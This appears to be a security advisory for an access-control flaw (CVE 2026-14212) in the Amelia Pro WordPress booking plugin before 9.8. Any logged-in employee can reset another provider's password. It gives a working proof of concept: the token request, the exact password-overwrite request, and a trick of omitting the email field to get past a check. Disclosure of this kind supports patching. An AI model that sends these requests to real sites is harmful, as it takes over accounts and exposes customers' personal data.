Amelia Pro < 9.8 – Provider+ Arbitrary Provider Password Update via IDOR | CVE 2026-14212

Description

The plugin does not verify that an authenticated employee (provider) owns the provider account being updated, allowing any employee with an Employee Panel login to overwrite another employee's cabinet password and take over their account.

Proof of Concept

Prerequisites: Amelia Pro with the Employee Panel enabled (default), and at least two Employee/provider accounts (attacker and victim) with panel logins.

1) The attacking employee obtains their own provider cabinet token via the panel login:
POST /wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/authenticate
{"email":"attacker@example.com","password":"PASSWORD","cabinetType":"provider"}

2) Overwrite the victim provider's cabinet password (the email field must be omitted):
POST /wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/providers/VICTIM_PROVIDER_ID&source=cabinet-provider
Authorization: Bearer ATTACKER_TOKEN
Content-Type: application/json
{"firstName":"Bob","lastName":"Victim","password":"hacked123"}
-> "Successfully updated user"; the victim provider's stored password is replaced.

3) Log into the Employee Panel as the victim with the new password "hacked123": full access to the victim's schedule, bookings and their customers' personal data. The victim's previous password no longer works.

Note: supplying an email field that differs from the victim's triggers an "Email already exist" check; omitting email lets the write through. The source parameter is not required for the write to land.